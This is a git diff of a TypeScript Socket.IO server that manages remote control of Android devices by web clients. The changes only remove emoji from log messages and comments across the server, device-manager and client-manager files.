this.logger.info(`✅ server_restarted 事件已发送到 ${socket.id}`)
|
||||
this.logger.info(` server_restarted 事件已发送到 ${socket.id}`)
|
||||
|
||||
// 同时发送通用ping
|
||||
socket.emit('ping_for_registration', {
|
||||
requireReregistration: true,
|
||||
serverRestartTime: new Date().toISOString()
|
||||
})
|
||||
this.logger.info(`✅ ping_for_registration 事件已发送到 ${socket.id}`)
|
||||
this.logger.info(` ping_for_registration 事件已发送到 ${socket.id}`)
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error(`❌ 发送重新注册请求失败 (Socket: ${socket.id}):`, error)
|
||||
this.logger.error(` 发送重新注册请求失败 (Socket: ${socket.id}):`, error)
|
||||
}
|
||||
})
|
||||
|
||||
// 5秒后检查恢复结果
|
||||
setTimeout(() => {
|
||||
const recoveredDevices = this.deviceManager.getDeviceCount()
|
||||
this.logger.info(`🎉 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`)
|
||||
this.logger.info(` 设备状态恢复完成! 恢复设备数量: ${recoveredDevices}`)
|
||||
|
||||
if (recoveredDevices > 0) {
|
||||
// 广播设备列表更新
|
||||
@@ -1969,7 +1969,7 @@ class RemoteControlServer {
|
||||
devices: this.deviceManager.getAllDevices()
|
||||
})
|
||||
} else {
|
||||
this.logger.warn('⚠️ 没有设备恢复连接,可能需要手动重启设备应用')
|
||||
this.logger.warn(' 没有设备恢复连接,可能需要手动重启设备应用')
|
||||
}
|
||||
}, 5000)
|
||||
|
||||
@@ -1977,24 +1977,24 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 启动状态一致性检查定时器
|
||||
* 启动状态一致性检查定时器
|
||||
*/
|
||||
private startConsistencyChecker(): void {
|
||||
// 🔧 优化:平衡检查频率,快速发现断开同时避免心跳冲突
|
||||
// 优化:平衡检查频率,快速发现断开同时避免心跳冲突
|
||||
setInterval(() => {
|
||||
this.checkAndFixInconsistentStates()
|
||||
}, 60000) // 改为每1分钟检查一次,平衡检测速度和稳定性
|
||||
|
||||
// ✅ 新增:每10秒刷新一次设备状态给Web端,确保状态同步
|
||||
// 新增:每10秒刷新一次设备状态给Web端,确保状态同步
|
||||
setInterval(() => {
|
||||
this.refreshDeviceStatusToWebClients()
|
||||
}, 10000) // 每10秒刷新一次
|
||||
|
||||
this.logger.info('✅ 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试')
|
||||
this.logger.info(' 状态一致性检查定时器已启动(1分钟间隔)- 平衡版本,快速检测断开+避免心跳误判+主动连接测试')
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 检查和修复不一致状态 - 增强版,减少误判
|
||||
* 检查和修复不一致状态 - 增强版,减少误判
|
||||
*/
|
||||
private checkAndFixInconsistentStates(): void {
|
||||
try {
|
||||
@@ -2042,7 +2042,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔧 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判
|
||||
* 验证设备断开连接 - 平衡策略:快速检测真实断开,避免误判
|
||||
*
|
||||
* 优化策略:
|
||||
* 1. Socket不存在时立即清理(真正断开)
|
||||
@@ -2114,7 +2114,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 主动测试设备连接
|
||||
* 主动测试设备连接
|
||||
*/
|
||||
private testDeviceConnection(deviceId: string, socketId: string, device: any): void {
|
||||
const socket = this.io.sockets.sockets.get(socketId)
|
||||
@@ -2172,7 +2172,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 执行设备清理逻辑
|
||||
* 执行设备清理逻辑
|
||||
*/
|
||||
private executeDeviceCleanup(deviceId: string, device: any): void {
|
||||
this.logger.warn(`[Cleanup] Removing device: ${deviceId} (${device.name})`)
|
||||
@@ -2198,7 +2198,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔧 二次确认设备是否真正断开(避免误判)
|
||||
* 二次确认设备是否真正断开(避免误判)
|
||||
*/
|
||||
private performSecondaryDeviceCheck(deviceId: string, socketId: string): void {
|
||||
try {
|
||||
@@ -2249,7 +2249,7 @@ class RemoteControlServer {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 刷新设备状态给Web客户端
|
||||
* 刷新设备状态给Web客户端
|
||||
*/
|
||||
private refreshDeviceStatusToWebClients(): void {
|
||||
try {
|
||||
@@ -2278,7 +2278,7 @@ class RemoteControlServer {
|
||||
*/
|
||||
public async start(port: number = 3001): Promise<void> {
|
||||
try {
|
||||
// 🆕 先初始化 AuthService(确保超级管理员账号已创建)
|
||||
// 先初始化 AuthService(确保超级管理员账号已创建)
|
||||
this.logger.info('正在初始化认证服务...')
|
||||
await this.authService.initialize()
|
||||
this.logger.info('认证服务初始化完成')
|
||||
@@ -2288,13 +2288,13 @@ class RemoteControlServer {
|
||||
this.logger.info(`远程控制服务器启动成功,端口: ${port}`)
|
||||
this.logger.info(`WebSocket服务地址: ws://localhost:${port}`)
|
||||
this.logger.info(`HTTP API地址: http://localhost:${port}`)
|
||||
this.logger.info(`🔧 关键修复已应用:`)
|
||||
this.logger.info(` 关键修复已应用:`)
|
||||
this.logger.info(` - Socket.IO心跳配置优化 (5分钟超时/2分钟间隔)`)
|
||||
this.logger.info(` - 延迟验证disconnect事件 (3秒验证期)`)
|
||||
this.logger.info(` - 增强设备活跃时间更新机制`)
|
||||
this.logger.info(` - 减少状态检查器误判 (90秒间隔)`)
|
||||
|
||||
// ✅ 关键修复:服务器启动后立即恢复设备状态
|
||||
// 关键修复:服务器启动后立即恢复设备状态
|
||||
this.recoverDeviceStates()
|
||||
})
|
||||
} catch (error) {
|
||||
|
||||
@@ -20,9 +20,9 @@ export interface DeviceInfo {
|
||||
status: 'online' | 'offline' | 'busy'
|
||||
inputBlocked?: boolean
|
||||
isLocked?: boolean // 设备锁屏状态
|
||||
remark?: string // 🆕 设备备注
|
||||
remark?: string // 设备备注
|
||||
publicIP?: string
|
||||
// 🆕 新增系统版本信息字段
|
||||
// 新增系统版本信息字段
|
||||
systemVersionName?: string // 如"Android 11"、"Android 12"
|
||||
romType?: string // 如"MIUI"、"ColorOS"、"原生Android"
|
||||
romVersion?: string // 如"MIUI 12.5"、"ColorOS 11.1"
|
||||
@@ -55,14 +55,14 @@ class DeviceManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 清理所有设备记录(服务器重启时调用)
|
||||
* 清理所有设备记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllDevices(): void {
|
||||
const deviceCount = this.devices.size
|
||||
this.devices.clear()
|
||||
this.deviceStatuses.clear()
|
||||
this.socketToDevice.clear()
|
||||
this.logger.info(`🧹 已清理所有设备记录: ${deviceCount} 个设备`)
|
||||
this.logger.info(` 已清理所有设备记录: ${deviceCount} 个设备`)
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -13,8 +13,8 @@ export interface WebClientInfo {
|
||||
connectedAt: Date
|
||||
lastSeen: Date
|
||||
controllingDeviceId?: string
|
||||
userId?: string // 🔐 添加用户ID字段
|
||||
username?: string // 🔐 添加用户名字段
|
||||
userId?: string // 添加用户ID字段
|
||||
username?: string // 添加用户名字段
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -26,9 +26,9 @@ class WebClientManager {
|
||||
private deviceControllers: Map<string, string> = new Map() // deviceId -> clientId
|
||||
private logger: Logger
|
||||
public io?: SocketIOServer
|
||||
private databaseService?: DatabaseService // 🔐 添加数据库服务引用
|
||||
private databaseService?: DatabaseService // 添加数据库服务引用
|
||||
|
||||
// 🔧 添加请求速率限制 - 防止频繁重复请求
|
||||
// 添加请求速率限制 - 防止频繁重复请求
|
||||
private requestTimestamps: Map<string, number> = new Map() // "clientId:deviceId" -> timestamp
|
||||
private readonly REQUEST_COOLDOWN = 2000 // 2秒内不允许重复请求(增加冷却时间)
|
||||
|
||||
@@ -38,7 +38,7 @@ class WebClientManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* ✅ 清理所有客户端记录(服务器重启时调用)
|
||||
* 清理所有客户端记录(服务器重启时调用)
|
||||
*/
|
||||
clearAllClients(): void {
|
||||
const clientCount = this.clients.size
|
||||
@@ -46,7 +46,7 @@ class WebClientManager {
|
||||
this.socketToClient.clear()
|
||||
this.deviceControllers.clear()
|
||||
this.requestTimestamps.clear()
|
||||
this.logger.info(`🧹 已清理所有客户端记录: ${clientCount} 个客户端`)
|
||||
this.logger.info(` 已清理所有客户端记录: ${clientCount} 个客户端`)
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -60,10 +60,10 @@ class WebClientManager {
|
||||
* 添加Web客户端
|
||||
*/
|
||||
addClient(clientInfo: WebClientInfo): void {
|
||||
// 🔧 检查是否已有相同Socket ID的客户端记录
|
||||
// 检查是否已有相同Socket ID的客户端记录
|
||||
const existingClientId = this.socketToClient.get(clientInfo.socketId)
|
||||
if (existingClientId) {
|
||||
this.logger.warn(`⚠️ Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`)
|
||||
this.logger.warn(` Socket ${clientInfo.socketId} 已有客户端记录 ${existingClientId},清理旧记录`)
|
||||
this.removeClient(existingClientId)
|
||||
}
|
||||
|
||||
@@ -83,7 +83,7 @@ class WebClientManager {
|
||||
|
||||
// 如果客户端正在控制设备,释放控制权
|
||||
if (client.controllingDeviceId) {
|
||||
this.logger.info(`🔓 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`)
|
||||
this.logger.info(` 客户端断开连接,自动释放设备控制权: ${clientId} -> ${client.controllingDeviceId}`)
|
||||
this.releaseDeviceControl(client.controllingDeviceId)
|
||||
}
|
||||
|
||||
@@ -156,13 +156,13 @@ class WebClientManager {
|
||||
message: string
|
||||
currentController?: string
|
||||
} {
|
||||
// 🔧 防止频繁重复请求
|
||||
// 防止频繁重复请求
|
||||
const requestKey = `${clientId}:${deviceId}`
|
||||
const now = Date.now()
|
||||
const lastRequestTime = this.requestTimestamps.get(requestKey) || 0
|
||||
|
||||
if (now - lastRequestTime < this.REQUEST_COOLDOWN) {
|
||||
this.logger.debug(`🚫 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`)
|
||||
this.logger.debug(` 请求过于频繁: ${clientId} -> ${deviceId} (间隔${now - lastRequestTime}ms < ${this.REQUEST_COOLDOWN}ms)`)
|
||||
return {
|
||||
success: false,
|
||||
message: '请求过于频繁,请稍后再试'
|
||||
@@ -172,17 +172,17 @@ class WebClientManager {
|
||||
// 获取客户端信息
|
||||
const client = this.clients.get(clientId)
|
||||
if (!client) {
|
||||
this.logger.error(`❌ 客户端不存在: ${clientId}`)
|
||||
this.logger.error(` 客户端不存在: ${clientId}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '客户端不存在'
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ 优化:先检查是否是重复请求(已经在控制此设备)
|
||||
// 优化:先检查是否是重复请求(已经在控制此设备)
|
||||
const currentController = this.deviceControllers.get(deviceId)
|
||||
if (currentController === clientId) {
|
||||
this.logger.debug(`🔄 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`)
|
||||
this.logger.debug(` 客户端 ${clientId} 重复请求控制设备 ${deviceId},已在控制中`)
|
||||
client.lastSeen = new Date()
|
||||
// 更新请求时间戳,但返回成功(避免频繁日志)
|
||||
this.requestTimestamps.set(requestKey, now)
|
||||
@@ -198,7 +198,7 @@ class WebClientManager {
|
||||
// 检查设备是否被其他客户端控制
|
||||
if (currentController && currentController !== clientId) {
|
||||
const controllerClient = this.clients.get(currentController)
|
||||
this.logger.warn(`🚫 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`)
|
||||
this.logger.warn(` 设备 ${deviceId} 控制权冲突: 当前控制者 ${currentController}, 请求者 ${clientId}`)
|
||||
return {
|
||||
success: false,
|
||||
message: `设备正在被其他客户端控制 (${controllerClient?.ip || 'unknown'})`,
|
||||
@@ -208,7 +208,7 @@ class WebClientManager {
|
||||
|
||||
// 如果客户端已在控制其他设备,先释放
|
||||
if (client.controllingDeviceId && client.controllingDeviceId !== deviceId) {
|
||||
this.logger.info(`🔄 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`)
|
||||
this.logger.info(` 客户端 ${clientId} 切换控制设备: ${client.controllingDeviceId} -> ${deviceId}`)
|
||||
this.releaseDeviceControl(client.controllingDeviceId)
|
||||
}
|
||||
|
||||
@@ -217,13 +217,13 @@ class WebClientManager {
|
||||
client.controllingDeviceId = deviceId
|
||||
client.lastSeen = new Date()
|
||||
|
||||
// 🔐 如果客户端有用户ID,将权限持久化到数据库
|
||||
// 如果客户端有用户ID,将权限持久化到数据库
|
||||
if (client.userId && this.databaseService) {
|
||||
this.databaseService.grantUserDevicePermission(client.userId, deviceId, 'control')
|
||||
this.logger.info(`🔐 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`)
|
||||
this.logger.info(` 用户 ${client.userId} 的设备 ${deviceId} 控制权限已持久化`)
|
||||
}
|
||||
|
||||
this.logger.info(`🎮 客户端 ${clientId} 开始控制设备 ${deviceId}`)
|
||||
this.logger.info(` 客户端 ${clientId} 开始控制设备 ${deviceId}`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
@@ -241,16 +241,16 @@ class WebClientManager {
|
||||
if (client) {
|
||||
const previousDevice = client.controllingDeviceId
|
||||
client.controllingDeviceId = undefined
|
||||
this.logger.debug(`🔓 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`)
|
||||
this.logger.debug(` 客户端 ${controllerId} 释放设备控制权: ${previousDevice}`)
|
||||
} else {
|
||||
this.logger.warn(`⚠️ 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`)
|
||||
this.logger.warn(` 控制设备 ${deviceId} 的客户端 ${controllerId} 不存在,可能已断开`)
|
||||
}
|
||||
|
||||
this.deviceControllers.delete(deviceId)
|
||||
this.logger.info(`🔓 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`)
|
||||
this.logger.info(` 设备 ${deviceId} 的控制权已释放 (之前控制者: ${controllerId})`)
|
||||
return true
|
||||
} else {
|
||||
this.logger.debug(`🤷 设备 ${deviceId} 没有被控制,无需释放`)
|
||||
this.logger.debug(` 设备 ${deviceId} 没有被控制,无需释放`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
@@ -266,13 +266,13 @@ class WebClientManager {
|
||||
* 检查客户端是否有设备控制权
|
||||
*/
|
||||
hasDeviceControl(clientId: string, deviceId: string): boolean {
|
||||
// 🛡️ 记录权限检查审计日志
|
||||
// 记录权限检查审计日志
|
||||
this.logPermissionOperation(clientId, deviceId, '权限检查')
|
||||
|
||||
// 🔐 获取客户端信息
|
||||
// 获取客户端信息
|
||||
const client = this.clients.get(clientId)
|
||||
|
||||
// 🆕 超级管理员绕过权限检查
|
||||
// 超级管理员绕过权限检查
|
||||
if (client?.username) {
|
||||
const superAdminUsername = process.env.SUPERADMIN_USERNAME || 'superadmin'
|
||||
if (client.username === superAdminUsername) {
|
||||
@@ -281,28 +281,28 @@ class WebClientManager {
|
||||
if (!this.deviceControllers.has(deviceId) || this.deviceControllers.get(deviceId) !== clientId) {
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
this.logger.info(`🔐 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`)
|
||||
this.logger.info(` 超级管理员 ${client.username} 绕过权限检查并建立控制关系: ${deviceId}`)
|
||||
} else {
|
||||
this.logger.debug(`🔐 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`)
|
||||
this.logger.debug(` 超级管理员 ${client.username} 绕过权限检查 (已有控制关系)`)
|
||||
}
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 🔐 首先检查内存中的控制权
|
||||
// 首先检查内存中的控制权
|
||||
const memoryControl = this.deviceControllers.get(deviceId) === clientId
|
||||
if (memoryControl) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 🔐 如果内存中没有控制权,检查数据库中的用户权限
|
||||
// 如果内存中没有控制权,检查数据库中的用户权限
|
||||
if (client?.userId && this.databaseService) {
|
||||
const hasPermission = this.databaseService.hasUserDevicePermission(client.userId, deviceId, 'control')
|
||||
if (hasPermission) {
|
||||
// 🔐 如果用户有权限,自动建立控制关系(允许权限恢复)
|
||||
// 如果用户有权限,自动建立控制关系(允许权限恢复)
|
||||
this.deviceControllers.set(deviceId, clientId)
|
||||
client.controllingDeviceId = deviceId
|
||||
this.logger.info(`🔐 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`)
|
||||
this.logger.info(` 用户 ${client.userId} 基于数据库权限获得设备 ${deviceId} 控制权`)
|
||||
return true
|
||||
}
|
||||
}
|
||||
@@ -336,7 +336,7 @@ class WebClientManager {
|
||||
activeClients++
|
||||
}
|
||||
}
|
||||
this.logger.debug(`📡 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`)
|
||||
this.logger.debug(` 广播消息到 ${activeClients} 个活跃Web客户端: ${event}`)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -403,7 +403,7 @@ class WebClientManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 恢复用户的设备权限
|
||||
* 恢复用户的设备权限
|
||||
*/
|
||||
restoreUserPermissions(userId: string, clientId: string): void {
|
||||
if (!this.databaseService) {
|
||||
@@ -416,7 +416,7 @@ class WebClientManager {
|
||||
const permissions = this.databaseService.getUserDevicePermissions(userId)
|
||||
|
||||
if (permissions.length > 0) {
|
||||
this.logger.info(`🔐 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`)
|
||||
this.logger.info(` 为用户 ${userId} 恢复 ${permissions.length} 个设备权限`)
|
||||
|
||||
// 恢复第一个设备的控制权(优先恢复用户之前的权限)
|
||||
for (const permission of permissions) {
|
||||
@@ -426,7 +426,7 @@ class WebClientManager {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.controllingDeviceId = permission.deviceId
|
||||
this.logger.info(`🔐 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`)
|
||||
this.logger.info(` 用户 ${userId} 的设备 ${permission.deviceId} 控制权已恢复`)
|
||||
break // 只恢复第一个设备
|
||||
}
|
||||
}
|
||||
@@ -438,27 +438,27 @@ class WebClientManager {
|
||||
}
|
||||
|
||||
/**
|
||||
* 🔐 设置客户端用户信息
|
||||
* 设置客户端用户信息
|
||||
*/
|
||||
setClientUserInfo(clientId: string, userId: string, username: string): void {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
client.userId = userId
|
||||
client.username = username
|
||||
this.logger.info(`🔐 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`)
|
||||
this.logger.info(` 客户端 ${clientId} 用户信息已设置: ${username} (${userId})`)
|
||||
|
||||
// 🛡️ 记录安全审计日志
|
||||
this.logger.info(`🛡️ 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`)
|
||||
// 记录安全审计日志
|
||||
this.logger.info(` 安全审计: 客户端 ${clientId} (IP: ${client.ip}) 绑定用户 ${username} (${userId})`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🛡️ 记录权限操作审计日志
|
||||
* 记录权限操作审计日志
|
||||
*/
|
||||
private logPermissionOperation(clientId: string, deviceId: string, operation: string): void {
|
||||
const client = this.clients.get(clientId)
|
||||
if (client) {
|
||||
this.logger.info(`🛡️ 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`)
|
||||
this.logger.info(` 权限审计: 客户端 ${clientId} (用户: ${client.username || 'unknown'}, IP: ${client.ip}) 执行 ${operation} 操作,目标设备: ${deviceId}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -21,31 +21,31 @@ app.use(cors({
|
||||
|
||||
app.use(express.json());
|
||||
|
||||
// ✅ Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
// Socket.IO v4 优化配置 - 解决心跳和连接稳定性问题
|
||||
const io = new Server(server, {
|
||||
cors: {
|
||||
origin: "*",
|
||||
methods: ["GET", "POST"],
|
||||
credentials: true
|
||||
},
|
||||
// 🔧 心跳机制优化(v4已解决心跳方向问题)
|
||||
// 心跳机制优化(v4已解决心跳方向问题)
|
||||
pingInterval: 25000, // 25秒发送一次ping(服务器->客户端)
|
||||
pingTimeout: 60000, // 60秒等待pong响应
|
||||
upgradeTimeout: 30000, // 30秒传输升级超时
|
||||
|
||||
// 🔧 传输优化
|
||||
// 传输优化
|
||||
transports: ['websocket', 'polling'],
|
||||
allowEIO3: false, // 不支持旧版本协议
|
||||
|
||||
// 🔧 缓冲区和数据包优化
|
||||
// 缓冲区和数据包优化
|
||||
maxHttpBufferSize: 10e6, // 10MB缓冲区
|
||||
allowUpgrades: true,
|
||||
|
||||
// 🔧 连接管理
|
||||
// 连接管理
|
||||
connectTimeout: 45000, // 连接超时
|
||||
serveClient: false, // 不提供客户端文件
|
||||
|
||||
// 🔧 Engine.IO 配置
|
||||
// Engine.IO 配置
|
||||
cookie: {
|
||||
name: "io",
|
||||
httpOnly: true,
|
||||
@@ -77,14 +77,14 @@ app.get('/health', (req, res) => {
|
||||
|
||||
// Socket.IO连接处理
|
||||
io.on('connection', (socket) => {
|
||||
logger.info(`🔌 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
logger.info(` 新连接: ${socket.id} (IP: ${socket.handshake.address})`);
|
||||
|
||||
// 连接质量监控
|
||||
const connectionStart = Date.now();
|
||||
|
||||
// 设备注册事件
|
||||
socket.on('device_register', (deviceInfo) => {
|
||||
logger.info(`📱 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
logger.info(` 设备注册: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
||||
|
||||
const device: any = {
|
||||
id: deviceInfo.deviceId,
|
||||
@@ -109,7 +109,7 @@ io.on('connection', (socket) => {
|
||||
const socket = io.sockets.sockets.get(client.socketId);
|
||||
return socket && socket.connected;
|
||||
}).length;
|
||||
logger.info(`📢 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
logger.info(` 通知 ${activeWebClients} 个活跃Web客户端有新设备连接`);
|
||||
webClientManager.broadcastToAll('device_connected', {
|
||||
device: deviceManager.getDevice(deviceInfo.deviceId)
|
||||
});
|
||||
@@ -119,7 +119,7 @@ io.on('connection', (socket) => {
|
||||
|
||||
// Web客户端注册事件
|
||||
socket.on('web_client_register', (clientInfo) => {
|
||||
logger.info(`🌐 Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
logger.info(` Web客户端注册: ${clientInfo.userAgent || 'unknown'}`);
|
||||
|
||||
const clientData = {
|
||||
id: socket.id,
|
||||
@@ -176,46 +176,46 @@ io.on('connection', (socket) => {
|
||||
|
||||
// 测试连接监听器
|
||||
socket.on('CONNECTION_TEST', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到连接测试: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到连接测试: ${JSON.stringify(data)}`);
|
||||
|
||||
// 🔧 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
// 修复:回复确认消息给Android端,避免心跳失败累积
|
||||
try {
|
||||
socket.emit('CONNECTION_TEST_RESPONSE', {
|
||||
success: true,
|
||||
timestamp: Date.now(),
|
||||
receivedData: data
|
||||
});
|
||||
logger.debug(`✅ 已回复CONNECTION_TEST确认消息`);
|
||||
logger.debug(` 已回复CONNECTION_TEST确认消息`);
|
||||
} catch (error) {
|
||||
logger.error(`❌ 回复CONNECTION_TEST失败:`, error);
|
||||
logger.error(` 回复CONNECTION_TEST失败:`, error);
|
||||
}
|
||||
});
|
||||
|
||||
// 简单测试事件监听器
|
||||
socket.on('SIMPLE_TEST_EVENT', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到简单测试事件!!! 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 调试:UI响应前的测试消息
|
||||
socket.on('debug_test_before_ui', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(`🧪 测试数据: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到UI响应前调试测试!!! Socket: ${socket.id}`);
|
||||
logger.info(` 测试数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// 简单测试消息监听器
|
||||
socket.on('simple_test', (data) => {
|
||||
logger.info(`🧪🧪🧪 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
logger.info(` 收到简单测试消息!!! Socket: ${socket.id}, 数据: ${JSON.stringify(data)}`);
|
||||
});
|
||||
|
||||
// UI层次结构响应 (设备端响应)
|
||||
socket.on('ui_hierarchy_response', (data) => {
|
||||
logger.info(`📱📱📱 [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(`📋 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
logger.info(` [GLOBAL] 收到UI层次结构响应!!! Socket: ${socket.id}`);
|
||||
logger.info(` 响应数据字段: deviceId=${data?.deviceId}, success=${data?.success}, clientId=${data?.clientId}, hierarchy存在=${!!data?.hierarchy}`);
|
||||
logger.info(` 完整响应数据: ${JSON.stringify(data).substring(0, 500)}...`);
|
||||
|
||||
// ✅ 参考screen_data的处理方式,直接调用专用路由方法
|
||||
// 参考screen_data的处理方式,直接调用专用路由方法
|
||||
const routeResult = messageRouter.routeUIHierarchyResponse(socket.id, data);
|
||||
logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||||
logger.info(` UI层次结构路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
// 设备控制请求
|
||||
@@ -242,14 +242,14 @@ io.on('connection', (socket) => {
|
||||
messageRouter.routeClientEvent(socket.id, eventData.type, eventData.data);
|
||||
});
|
||||
|
||||
// 🆕 权限申请响应(设备端响应)
|
||||
// 权限申请响应(设备端响应)
|
||||
socket.on('permission_response', (data) => {
|
||||
logger.info(`📱 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(`📋 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
logger.info(` 收到设备权限申请响应: Socket: ${socket.id}`);
|
||||
logger.info(` 响应数据: deviceId=${data?.deviceId}, permissionType=${data?.permissionType}, success=${data?.success}, message=${data?.message}`);
|
||||
|
||||
// 路由权限申请响应
|
||||
const routeResult = messageRouter.routePermissionResponse(socket.id, data);
|
||||
logger.info(`📤 权限申请响应路由结果: ${routeResult}`);
|
||||
logger.info(` 权限申请响应路由结果: ${routeResult}`);
|
||||
});
|
||||
|
||||
|
||||
@@ -260,13 +260,13 @@ io.on('connection', (socket) => {
|
||||
// 记录所有接收到的事件
|
||||
socket.onAny((eventName, ...args) => {
|
||||
if (!['connect', 'disconnect', 'screen_data', 'device_register', 'web_client_register', 'control_command', 'client_event'].includes(eventName)) {
|
||||
logger.info(`🔍 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
logger.info(` 收到未知事件: ${eventName}, 数据: ${JSON.stringify(args).substring(0, 100)}...`);
|
||||
}
|
||||
|
||||
// 特别关注UI层次结构响应
|
||||
if (eventName === 'ui_hierarchy_response') {
|
||||
logger.info(`📱📱📱 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(`📋 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
logger.info(` 收到UI层次结构响应!!! 事件名: ${eventName}`);
|
||||
logger.info(` 响应数据: ${JSON.stringify(args).substring(0, 500)}...`);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -274,7 +274,7 @@ io.on('connection', (socket) => {
|
||||
const duration = Math.round((Date.now() - connectionStart) / 1000);
|
||||
const quality = duration > 300 ? 'excellent' : duration > 60 ? 'good' : duration > 30 ? 'fair' : 'poor';
|
||||
|
||||
logger.info(`📴 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
logger.info(` 连接断开: ${socket.id}, 原因: ${reason}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
||||
|
||||
// 更新数据库中的断开连接记录
|
||||
databaseService.updateDisconnection(socket.id);
|
||||
@@ -282,7 +282,7 @@ io.on('connection', (socket) => {
|
||||
// 移除设备或Web客户端
|
||||
const device = deviceManager.getDeviceBySocketId(socket.id);
|
||||
if (device) {
|
||||
logger.info(`📱 设备断开: ${device.name} (${device.id})`);
|
||||
logger.info(` 设备断开: ${device.name} (${device.id})`);
|
||||
deviceManager.removeDevice(device.id);
|
||||
|
||||
// 通知所有Web客户端设备已断开
|
||||
@@ -293,7 +293,7 @@ io.on('connection', (socket) => {
|
||||
// 可能是Web客户端断开
|
||||
const clientRemoved = webClientManager.removeClientBySocketId(socket.id);
|
||||
if (clientRemoved) {
|
||||
logger.info(`🌐 Web客户端断开: ${socket.id}`);
|
||||
logger.info(` Web客户端断开: ${socket.id}`);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -312,9 +312,9 @@ process.on('uncaughtException', (error) => {
|
||||
